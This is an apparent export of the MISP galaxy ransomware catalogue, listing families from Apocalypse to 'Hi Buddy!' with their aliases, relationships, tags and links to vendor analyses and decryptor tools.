Ransomware decryptionservice@mail.ru recoveryhelp@bk.ru ransomware.attack@list.ru esmeraldaencryption@mail.ru dr.compress@bk.ru

The tag is: *misp-galaxy:ransomware="Apocalypse"*

Apocalypse is also known as:

- Fabiansomeware

Apocalypse has relationships with:

- similar: misp-galaxy:rat="Apocalypse" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 3126. Table References

Links
https://decrypter.emsisoft.com/apocalypse
http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/

ApocalypseVM

Ransomware Apocalypse ransomware version which uses VMprotect

The tag is: *misp-galaxy:ransomware="ApocalypseVM"*

Table 3127. Table References

Links
http://decrypter.emsisoft.com/download/apocalypsevm

AutoLocky

Ransomware

The tag is: *misp-galaxy:ransomware="AutoLocky"*

Table 3128. Table References

Links
https://decrypter.emsisoft.com/autolocky

Aw3s0m3Sc0t7

Ransomware

The tag is: *misp-galaxy:ransomware="Aw3s0m3Sc0t7"*

Table 3129. Table References

Links
https://twitter.com/struppigel/status/828902907668000770

BadBlock

Ransomware

The tag is: *misp-galaxy:ransomware="BadBlock"*

Table 3130. Table References

Links
https://decrypter.emsisoft.com/badblock
http://www.nyxbone.com/malware/BadBlock.html
http://www.nyxbone.com/images/articulos/malware/badblock/5.png

BaksoCrypt

Ransomware Based on my-Little-Ransomware

The tag is: *misp-galaxy:ransomware="BaksoCrypt"*

Table 3131. Table References

Links
https://twitter.com/JakubKroustek/status/760482299007922176
https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/

Bandarchor

Ransomware Files might be partially encrypted

The tag is: *misp-galaxy:ransomware="Bandarchor"*

Bandarchor is also known as:

- Rakhni

Bandarchor has relationships with:

- similar: misp-galaxy:ransomware="Rakhni" with estimative-language:likelihood-probability="likely"

Table 3132. Table References

Links
https://reaqta.com/2016/03/bandarchor-ransomware-still-active/
https://www.bleepingcomputer.com/news/security/new-bandarchor-ransomware-variant-spreads-via-malvertising-on-adult-sites/

Bart

Ransomware Possible affiliations with RockLoader, Locky and Dridex

The tag is: *misp-galaxy:ransomware="Bart"*

Bart is also known as:

- BaCrypt

Bart has relationships with:

- similar: misp-galaxy:malpedia="Bart" with estimative-language:likelihood-probability="likely"

Table 3133. Table References

Links
http://now.avg.com/barts-shenanigans-are-no-match-for-avg/
http://phishme.com/rockloader-downloading-new-ransomware-bart/
https://www.proofpoint.com/us/threat-insight/post/New-Bart-Ransomware-from-Threat-Actors-Spreading-Dridex-and-Locky

BitCryptor

Ransomware Has a GUI. CryptoGraphic Locker family. Newer CoinVault variant.

The tag is: *misp-galaxy:ransomware="BitCryptor"*

Table 3134. Table References

Links
https://noransom.kaspersky.com/

BitStak

Ransomware

The tag is: *misp-galaxy:ransomware="BitStak"*

Table 3135. Table References

Links
https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip

BlackShades Crypter

Ransomware

The tag is: *misp-galaxy:ransomware="BlackShades Crypter"*

BlackShades Crypter is also known as:

- SilentShade

Table 3136. Table References

Links
http://nyxbone.com/malware/BlackShades.html

Blocatto

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Blocatto"*

Table 3137. Table References

Links
http://www.bleepingcomputer.com/forums/t/614456/bloccato-ransomware-bloccato-help-support-leggi-questo-filetxt/

Booyah

Ransomware EXE was replaced to neutralize threat

The tag is: *misp-galaxy:ransomware="Booyah"*

Booyah is also known as:

- Salami

Booyah has relationships with:

- similar: misp-galaxy:ransomware="MM Locker" with estimative-language:likelihood-probability="likely"

Brazilian

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Brazilian"*

Table 3138. Table References

Links
http://www.nyxbone.com/malware/brazilianRansom.html
http://www.nyxbone.com/images/articulos/malware/brazilianRansom/0.png

Brazilian Globe

Ransomware

The tag is: *misp-galaxy:ransomware="Brazilian Globe"*

Table 3139. Table References

Links
https://twitter.com/JakubKroustek/status/821831437884211201

BrLock

Ransomware

The tag is: *misp-galaxy:ransomware="BrLock"*

Table 3140. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered

Browlock

Ransomware no local encryption, browser only

The tag is: *misp-galaxy:ransomware="Browlock"*

BTCWare Related to / new version of CryptXXX

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare Related to / new version of CryptXXX"*

Table 3141. Table References

Links
https://twitter.com/malwrhunterteam/status/845199679340011520

Bucbi

Ransomware no file name change, no extension

The tag is: *misp-galaxy:ransomware="Bucbi"*

Table 3142. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/unit42-bucbi-ransomware-is-back-with-a-ukrainian-makeover/

BuyUnlockCode

Ransomware Does not delete Shadow Copies

The tag is: *misp-galaxy:ransomware="BuyUnlockCode"*

Central Security Treatment Organization

Ransomware

The tag is: *misp-galaxy:ransomware="Central Security Treatment Organization"*

Central Security Treatment Organization has relationships with:

- similar: misp-galaxy:ransomware="CryLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 3143. Table References

Links
http://www.bleepingcomputer.com/forums/t/625820/central-security-treatment-organization-ransomware-help-topic-cry-extension/

Cerber

Ransomware

The tag is: *misp-galaxy:ransomware="Cerber"*

Cerber is also known as:

- CRBR ENCRYPTOR

Cerber has relationships with:

- similar: misp-galaxy:malpedia="Cerber" with estimative-language:likelihood-probability="likely"

Table 3144. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/03/cerber-ransomware-new-but-mature/
https://community.rsa.com/community/products/netwitness/blog/2016/11/04/the-evolution-of-cerber-v410
https://www.bleepingcomputer.com/news/security/cerber-renames-itself-as-crbr-encryptor-to-be-a-pita/

Chimera

Ransomware

The tag is: *misp-galaxy:ransomware="Chimera"*

Table 3145. Table References

Links
http://www.bleepingcomputer.com/news/security/chimera-ransomware-decryption-keys-released-by-petya-devs/
https://blog.malwarebytes.org/threat-analysis/2015/12/inside-chimera-ransomware-the-first-doxingware-in-wild/

Clock

Ransomware Does not encrypt anything

The tag is: *misp-galaxy:ransomware="Clock"*

Table 3146. Table References

Links
https://twitter.com/JakubKroustek/status/794956809866018816

CoinVault

Ransomware CryptoGraphic Locker family. Has a GUI. Do not confuse with CrypVault!

The tag is: *misp-galaxy:ransomware="CoinVault"*

Table 3147. Table References

Links
https://noransom.kaspersky.com/

Coverton

Ransomware

The tag is: *misp-galaxy:ransomware="Coverton"*

Table 3148. Table References

Links
http://www.bleepingcomputer.com/news/security/paying-the-coverton-ransomware-may-not-get-your-data-back/

Cryaki

Ransomware

The tag is: *misp-galaxy:ransomware="Cryaki"*

Table 3149. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

Crybola

Ransomware

The tag is: *misp-galaxy:ransomware="Crybola"*

Table 3150. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

CryFile

Ransomware

The tag is: *misp-galaxy:ransomware="CryFile"*

Table 3151. Table References

Links
SHTODELATVAM.txt[SHTODELATVAM.txt]
Instructionaga.txt[Instructionaga.txt]

CryLocker

Ransomware Identifies victim locations w/Google Maps API

The tag is: *misp-galaxy:ransomware="CryLocker"*

CryLocker is also known as:

- Cry
- CSTO
- Central Security Treatment Organization

CryLocker has relationships with:

- similar: misp-galaxy:ransomware="Central Security Treatment Organization" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 3152. Table References

Links
http://www.bleepingcomputer.com/news/security/the-crylocker-ransomware-communicates-using-udp-and-stores-data-on-imgur-com/

CrypMIC

Ransomware CryptXXX clone/spinoff

The tag is: *misp-galaxy:ransomware="CrypMIC"*

Table 3153. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/

Crypren

Ransomware

The tag is: *misp-galaxy:ransomware="Crypren"*

Table 3154. Table References

Links
https://github.com/pekeinfo/DecryptCrypren
http://www.nyxbone.com/malware/Crypren.html
http://www.nyxbone.com/images/articulos/malware/crypren/0.png

Crypt38

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt38"*

Table 3155. Table References

Links
https://download.bleepingcomputer.com/demonslay335/Crypt38Keygen.zip
https://blog.fortinet.com/2016/06/17/buggy-russian-ransomware-inadvertently-allows-free-decryption

Crypter

Ransomware Does not actually encrypt the files, but simply renames them

The tag is: *misp-galaxy:ransomware="Crypter"*

Table 3156. Table References

Links
https://twitter.com/jiriatvirlab/status/802554159564062722

CryptFIle2

Ransomware

The tag is: *misp-galaxy:ransomware="CryptFIle2"*

Table 3157. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered

CryptInfinite

Ransomware

The tag is: *misp-galaxy:ransomware="CryptInfinite"*

Table 3158. Table References

Links
https://decrypter.emsisoft.com/

CryptoBit

Ransomware sekretzbel0ngt0us.KEY - do not confuse with CryptorBit.

The tag is: *misp-galaxy:ransomware="CryptoBit"*

CryptoBit has relationships with:

- similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"

Table 3159. Table References

Links
http://www.pandasecurity.com/mediacenter/panda-security/cryptobit/
http://news.softpedia.com/news/new-cryptobit-ransomware-could-be-decryptable-503239.shtml

CryptoDefense

Ransomware no extension change

The tag is: *misp-galaxy:ransomware="CryptoDefense"*

Table 3160. Table References

Links
https://decrypter.emsisoft.com/

CryptoFinancial

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoFinancial"*

CryptoFinancial is also known as:

- Ranscam

CryptoFinancial has relationships with:

- similar: misp-galaxy:malpedia="Ranscam" with estimative-language:likelihood-probability="likely"

Table 3161. Table References

Links
http://blog.talosintel.com/2016/07/ranscam.html
https://nakedsecurity.sophos.com/2016/07/13/ransomware-that-demands-money-and-gives-you-back-nothing/

CryptoFortress

Ransomware Mimics Torrentlocker. Encrypts only 50% of each file up to 5 MB

The tag is: *misp-galaxy:ransomware="CryptoFortress"*

CryptoFortress has relationships with:

- similar: misp-galaxy:ransomware="TorrentLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

CryptoGraphic Locker

Ransomware Has a GUI. Subvariants: CoinVault BitCryptor

The tag is: *misp-galaxy:ransomware="CryptoGraphic Locker"*

CryptoHost

Ransomware RAR's victim's files has a GUI

The tag is: *misp-galaxy:ransomware="CryptoHost"*

CryptoHost is also known as:

- Manamecrypt
- Telograph
- ROI Locker

CryptoHost has relationships with:

- similar: misp-galaxy:malpedia="ManameCrypt" with estimative-language:likelihood-probability="likely"

Table 3162. Table References

Links

http://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/

CryptoJoker

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoJoker"*

CryptoJoker has relationships with:

- similar: misp-galaxy:ransomware="CryptoNar" with estimative-language:likelihood-probability="likely"

CryptoLocker

Ransomware no longer relevant

The tag is: *misp-galaxy:ransomware="CryptoLocker"*

CryptoLocker has relationships with:

- similar: misp-galaxy:malpedia="CryptoLocker" with estimative-language:likelihood-probability="likely"

Table 3163. Table References

Links
https://www.fireeye.com/blog/executive-perspective/2014/08/your-locker-of-information-for-cryptolocker-decryption.html
https://reaqta.com/2016/04/uncovering-ransomware-distribution-operation-part-2/

CryptoLocker 1.0.0

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLocker 1.0.0"*

Table 3164. Table References

Links
https://twitter.com/malwrhunterteam/status/839747940122001408

CryptoLocker 5.1

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLocker 5.1"*

Table 3165. Table References

Links
https://twitter.com/malwrhunterteam/status/782890104947867649

CryptoMix

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix"*

CryptoMix is also known as:

- Zeta

CryptoMix has relationships with:

- similar: misp-galaxy:malpedia="CryptoMix" with estimative-language:likelihood-probability="likely"

Table 3166. Table References

Links
http://www.nyxbone.com/malware/CryptoMix.html
https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/
https://twitter.com/JakubKroustek/status/804009831518572544
https://www.bleepingcomputer.com/news/security/new-empty-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/0000-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/xzzx-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/test-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/system-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/mole66-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-backup-cryptomix-ransomware-variant-actively-infecting-users/

CryptoRansomeware

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoRansomeware"*

CryptoRansomeware has relationships with:

- similar: misp-galaxy:malpedia="CryptoRansomeware" with estimative-language:likelihood-probability="likely"

Table 3167. Table References

Links
https://twitter.com/malwrhunterteam/status/817672617658347521

CryptoRoger

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoRoger"*

Table 3168. Table References

Links
http://www.bleepingcomputer.com/news/security/new-ransomware-called-cryptoroger-that-appends-crptrgr-to-encrypted-files/

CryptoShadow

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoShadow"*

Table 3169. Table References

Links
https://twitter.com/struppigel/status/821992610164277248

CryptoShocker

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoShocker"*

Table 3170. Table References

Links
http://www.bleepingcomputer.com/forums/t/617601/cryptoshocker-ransomware-help-and-support-topic-locked-attentionurl/

CryptoTorLocker2015

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoTorLocker2015"*

Table 3171. Table References

Links
http://www.bleepingcomputer.com/forums/t/565020/new-cryptotorlocker2015-ransomware-discovered-and-easily-decrypted/

CryptoTrooper

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoTrooper"*

Table 3172. Table References

Links
http://news.softpedia.com/news/new-open-source-linux-ransomware-shows-infosec-community-divide-508669.shtml

CryptoWall 1

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 1"*

CryptoWall 2

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 2"*

CryptoWall 3

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 3"*

Table 3173. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2015/01/13/crowti-update-cryptowall-3-0/
https://www.virustotal.com/en/file/45317968759d3e37282ceb75149f627d648534c5b4685f6da3966d8f6fca662d/analysis/

CryptoWall 4

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 4"*

CryptXXX

Ransomware Comes with Bedep

The tag is: *misp-galaxy:ransomware="CryptXXX"*

CryptXXX is also known as:

- CryptProjectXXX

CryptXXX has relationships with:

- similar: misp-galaxy:ransomware="CryptXXX 2.0" with estimative-language:likelihood-probability="likely"

Table 3174. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://www.bleepingcomputer.com/virus-removal/cryptxxx-ransomware-help-information

CryptXXX 2.0

Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.

The tag is: *misp-galaxy:ransomware="CryptXXX 2.0"*

CryptXXX 2.0 is also known as:

- CryptProjectXXX

CryptXXX 2.0 has relationships with:

- similar: misp-galaxy:ransomware="CryptXXX" with estimative-language:likelihood-probability="likely"

Table 3175. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
https://www.proofpoint.com/us/threat-insight/post/cryptxxx2-ransomware-authors-strike-back-against-free-decryption-tool
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive

CryptXXX 3.0

Ransomware Comes with Bedep

The tag is: *misp-galaxy:ransomware="CryptXXX 3.0"*

CryptXXX 3.0 is also known as:

- UltraDeCrypter
- UltraCrypter

Table 3176. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://www.bleepingcomputer.com/news/security/cryptxxx-updated-to-version-3-0-decryptors-no-longer-work/
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive

CryptXXX 3.1

Ransomware StilerX credential stealing

The tag is: *misp-galaxy:ransomware="CryptXXX 3.1"*

Table 3177. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
https://www.proofpoint.com/us/threat-insight/post/cryptxxx-ransomware-learns-samba-other-new-tricks-with-version3100

CryPy

Ransomware

The tag is: *misp-galaxy:ransomware="CryPy"*

Table 3178. Table References

Links
http://www.bleepingcomputer.com/news/security/ctb-faker-ransomware-does-a-poor-job-imitating-ctb-locker/

CTB-Faker

Ransomware

The tag is: *misp-galaxy:ransomware="CTB-Faker"*

CTB-Faker is also known as:

- Citroni

CTB-Locker WEB

Ransomware websites only

The tag is: *misp-galaxy:ransomware="CTB-Locker WEB"*

Table 3179. Table References

Links
https://thisissecurity.net/2016/02/26/a-lockpicking-exercise/
https://github.com/eyecatchup/Critroni-php

CuteRansomware

Ransomware Based on my-Little-Ransomware

The tag is: *misp-galaxy:ransomware="CuteRansomware"*

CuteRansomware is also known as:

- my-Little-Ransomware

Table 3180. Table References

Links
https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool
https://github.com/aaaddress1/my-Little-Ransomware

Cyber SpLiTTer Vbs

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Cyber SpLiTTer Vbs"*

Cyber SpLiTTer Vbs is also known as:

- CyberSplitter

Cyber SpLiTTer Vbs has relationships with:

- similar: misp-galaxy:malpedia="CyberSplitter" with estimative-language:likelihood-probability="likely"

Table 3181. Table References

Links
https://twitter.com/struppigel/status/778871886616862720
https://twitter.com/struppigel/status/806758133720698881

Death Bitches

Ransomware

The tag is: *misp-galaxy:ransomware="Death Bitches"*

Table 3182. Table References

Links
https://twitter.com/JaromirHorejsi/status/815555258478981121

DeCrypt Protect

Ransomware

The tag is: *misp-galaxy:ransomware="DeCrypt Protect"*

Table 3183. Table References

Links
http://www.malwareremovalguides.info/decrypt-files-with-decrypt_mblblock-exe-decrypt-protect/

DEDCryptor

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="DEDCryptor"*

Table 3184. Table References

Links
http://www.bleepingcomputer.com/forums/t/617395/dedcryptor-ded-help-support-topic/
http://www.nyxbone.com/malware/DEDCryptor.html

Demo

Ransomware only encrypts .jpg files

The tag is: *misp-galaxy:ransomware="Demo"*

Table 3185. Table References

Links
https://twitter.com/struppigel/status/798573300779745281

DetoxCrypto

Ransomware - Based on Detox: Calipso, We are all Pokemons, Nullbyte

The tag is: *misp-galaxy:ransomware="DetoxCrypto"*

Table 3186. Table References

Links
http://www.bleepingcomputer.com/news/security/new-detoxcrypto-ransomware-pretends-to-be-pokemongo-or-uploads-a-picture-of-your-screen/

Digisom

Ransomware

The tag is: *misp-galaxy:ransomware="Digisom"*

Table 3187. Table References

Links
https://twitter.com/PolarToffee/status/829727052316160000

DirtyDecrypt

Ransomware

The tag is: *misp-galaxy:ransomware="DirtyDecrypt"*

Table 3188. Table References

Links
https://twitter.com/demonslay335/status/752586334527709184

DMALocker

Ransomware no extension change Encrypted files have prefix: Version 1: ABCXYZ11 - Version 2: !DMALOCK - Version 3: !DMALOCK3.0 - Version 4: !DMALOCK4.0

The tag is: *misp-galaxy:ransomware="DMALocker"*

Table 3189. Table References

Links
https://decrypter.emsisoft.com/
https://github.com/hasherezade/dma_unlocker
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/

DMALocker 3.0

Ransomware

The tag is: *misp-galaxy:ransomware="DMALocker 3.0"*

Table 3190. Table References

Links
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/

DNRansomware

Ransomware Code to decrypt: 83KYG9NW-3K39V-2T3HJ-93F3Q-GT

The tag is: *misp-galaxy:ransomware="DNRansomware"*

Table 3191. Table References

Links
https://twitter.com/BleepinComputer/status/822500056511213568

Domino

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="Domino"*

Table 3192. Table References

Links
http://www.nyxbone.com/malware/Domino.html
http://www.bleepingcomputer.com/news/security/the-curious-case-of-the-domino-ransomware-a-windows-crack-and-a-cow/

DoNotChange

Ransomware

The tag is: *misp-galaxy:ransomware="DoNotChange"*

Table 3193. Table References

Links
https://www.bleepingcomputer.com/forums/t/643330/donotchange-ransomware-id-7es642406cry-do-not-change-the-file-namecryp/

DummyLocker

Ransomware

The tag is: *misp-galaxy:ransomware="DummyLocker"*

Table 3194. Table References

Links
https://twitter.com/struppigel/status/794108322932785158

DXXD

Ransomware

The tag is: *misp-galaxy:ransomware="DXXD"*

Table 3195. Table References

Links
https://www.bleepingcomputer.com/forums/t/627831/dxxd-ransomware-dxxd-help-support-readmetxt/
https://www.bleepingcomputer.com/news/security/the-dxxd-ransomware-displays-legal-notice-before-users-login/

HiddenTear

Ransomware Open sourced C#

The tag is: *misp-galaxy:ransomware="HiddenTear"*

HiddenTear is also known as:

- Cryptear
- EDA2
- Hidden Tear

HiddenTear has relationships with:

- similar: misp-galaxy:malpedia="EDA2" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="HiddenTear" with estimative-language:likelihood-probability="likely"

Table 3196. Table References

Links
http://www.utkusen.com/blog/dealing-with-script-kiddies-cryptear-b-incident.html

EduCrypt

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="EduCrypt"*

EduCrypt is also known as:

- EduCrypter

Table 3197. Table References

Links
http://www.filedropper.com/decrypter_1
https://twitter.com/JakubKroustek/status/747031171347910656

EiTest

Ransomware

The tag is: *misp-galaxy:ransomware="EiTest"*

Table 3198. Table References

Links
https://twitter.com/BroadAnalysis/status/845688819533930497
https://twitter.com/malwrhunterteam/status/845652520202616832

El-Polocker

Ransomware Has a GUI

The tag is: *misp-galaxy:ransomware="El-Polocker"*

El-Polocker is also known as:

- Los Pollos Hermanos

Encoder.xxxx

Ransomware Coded in GO

The tag is: *misp-galaxy:ransomware="Encoder.xxxx"*

Encoder.xxxx is also known as:

- Trojan.Encoder.6491

Encoder.xxxx has relationships with:

- similar: misp-galaxy:ransomware="Windows_Security Ransonware" with estimative-language:likelihood-probability="likely"

Table 3199. Table References

Links
http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/
http://vms.drweb.ru/virus/?_is=1&i=8747343

encryptoJJS

Ransomware

The tag is: *misp-galaxy:ransomware="encryptoJJS"*

Enigma

Ransomware

The tag is: *misp-galaxy:ransomware="Enigma"*

Table 3200. Table References

Links
http://www.bleepingcomputer.com/news/security/the-enigma-ransomware-targets-russian-speaking-users/

Enjey

Ransomware Based on RemindMe

The tag is: *misp-galaxy:ransomware="Enjey"*

Table 3201. Table References

Links
https://twitter.com/malwrhunterteam/status/839022018230112256

Fairware

Ransomware Target Linux O.S.

The tag is: *misp-galaxy:ransomware="Fairware"*

Table 3202. Table References

Links

http://www.bleepingcomputer.com/news/security/new-fairware-ransomware-targeting-linux-computers/

Fakben

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="Fakben"*

Table 3203. Table References

Links
https://blog.fortinet.com/post/fakben-team-ransomware-uses-open-source-hidden-tear-code

FakeCryptoLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FakeCryptoLocker"*

Table 3204. Table References

Links
https://twitter.com/PolarToffee/status/812312402779836416

Fantom

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Fantom"*

Fantom is also known as:

- Comrad Circle

Table 3205. Table References

Links
http://www.bleepingcomputer.com/news/security/fantom-ransomware-encrypts-your-files-while-pretending-to-be-windows-update/

FenixLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FenixLocker"*

Table 3206. Table References

Links

https://decrypter.emsisoft.com/fenixlocker
https://twitter.com/fwosar/status/777197255057084416

FILE FROZR

Ransomware RaaS

The tag is: *misp-galaxy:ransomware="FILE FROZR"*

Table 3207. Table References

Links
https://twitter.com/rommeljoven17/status/846973265650335744

FileLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FileLocker"*

Table 3208. Table References

Links
https://twitter.com/jiriatvirlab/status/836616468775251968

FireCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="FireCrypt"*

FireCrypt has relationships with:

- similar: misp-galaxy:malpedia="FireCrypt" with estimative-language:likelihood-probability="likely"

Table 3209. Table References

Links
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

Flyper

Ransomware Based on EDA2 / HiddenTear

The tag is: *misp-galaxy:ransomware="Flyper"*

Table 3210. Table References

Links
https://twitter.com/malwrhunterteam/status/773771485643149312

Fonco

Ransomware contact email safefiles32@mail.ru also as prefix in encrypted file contents

The tag is: *misp-galaxy:ransomware="Fonco"*

FortuneCookie

Ransomware

The tag is: *misp-galaxy:ransomware="FortuneCookie "*

Table 3211. Table References

Links
https://twitter.com/struppigel/status/842302481774321664

Free-Freedom

Ransomware Unlock code is: adam or adamdude9

The tag is: *misp-galaxy:ransomware="Free-Freedom"*

Free-Freedom is also known as:

- Roga

Free-Freedom has relationships with:

- similar: misp-galaxy:ransomware="Roga" with estimative-language:likelihood-probability="likely"

Table 3212. Table References

Links
https://twitter.com/BleepinComputer/status/812135608374226944

FSociety

Ransomware Based on EDA2 and RemindMe

The tag is: *misp-galaxy:ransomware="FSociety"*

Table 3213. Table References

Links

https://www.bleepingcomputer.com/forums/t/628199/fs0ciety-locker-ransomware-help-support-fs0cietyhtml/
http://www.bleepingcomputer.com/news/security/new-fsociety-ransomware-pays-homage-to-mr-robot/
https://twitter.com/siri_urz/status/795969998707720193

Fury

Ransomware

The tag is: *misp-galaxy:ransomware="Fury"*

Table 3214. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

GhostCrypt

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="GhostCrypt"*

Table 3215. Table References

Links
https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip
http://www.bleepingcomputer.com/forums/t/614197/ghostcrypt-z81928819-help-support-topic-read-this-filetxt/

Gingerbread

Ransomware

The tag is: *misp-galaxy:ransomware="Gingerbread"*

Table 3216. Table References

Links
https://twitter.com/ni_fi_70/status/796353782699425792

Globe v1

Ransomware

The tag is: *misp-galaxy:ransomware="Globe v1"*

Globe v1 is also known as:

- Purge

Table 3217. Table References

Links
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221
http://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/

GNL Locker

Ransomware Only encrypts DE or NL country. Variants, from old to latest: Zyklon Locker, WildFire locker, Hades Locker

The tag is: *misp-galaxy:ransomware="GNL Locker"*

GNL Locker has relationships with:

- similar: misp-galaxy:ransomware="Zyklon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

Table 3218. Table References

Links
http://www.bleepingcomputer.com/forums/t/611342/gnl-locker-support-and-help-topic-locked-and-unlock-files-instructionshtml/

Gomasom

Ransomware

The tag is: *misp-galaxy:ransomware="Gomasom"*

Table 3219. Table References

Links
https://decrypter.emsisoft.com/

Goopic

Ransomware

The tag is: *misp-galaxy:ransomware="Goopic"*

Table 3220. Table References

Links

http://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/

Gopher

Ransomware OS X ransomware (PoC)

The tag is: *misp-galaxy:ransomware="Gopher"*

Hacked

Ransomware Jigsaw Ransomware variant

The tag is: *misp-galaxy:ransomware="Hacked"*

Table 3221. Table References

Links
https://twitter.com/demonslay335/status/806878803507101696

HappyDayzz

Ransomware

The tag is: *misp-galaxy:ransomware="HappyDayzz"*

Table 3222. Table References

Links
https://twitter.com/malwrhunterteam/status/847114064224497666

Harasom

Ransomware

The tag is: *misp-galaxy:ransomware="Harasom"*

Table 3223. Table References

Links
https://decrypter.emsisoft.com/

HDDCryptor

Ransomware Uses https://diskcryptor.net for full disk encryption

The tag is: *misp-galaxy:ransomware="HDDCryptor"*

HDDCryptor is also known as:

- Mamba

HDDCryptor has relationships with:

- similar: misp-galaxy:malpedia="Mamba" with estimative-language:likelihood-probability="likely"

Table 3224. Table References

Links
https://www.linkedin.com/pulse/mamba-new-full-disk-encryption-ransomware-family-member-marinho
blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/[blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/]

Heimdall

Ransomware File marker: "Heimdall---"

The tag is: *misp-galaxy:ransomware="Heimdall"*

Table 3225. Table References

Links
https://www.bleepingcomputer.com/news/security/heimdall-open-source-php-ransomware-targets-web-servers/

Help_dcfile

Ransomware

The tag is: *misp-galaxy:ransomware="Help_dcfile"*

Herbst

Ransomware

The tag is: *misp-galaxy:ransomware="Herbst"*

Herbst has relationships with:

- similar: misp-galaxy:malpedia="Herbst" with estimative-language:likelihood-probability="likely"

Table 3226. Table References

Links
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware

Hi Buddy!

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Hi Buddy!"*

Table 3227. Table References

Links
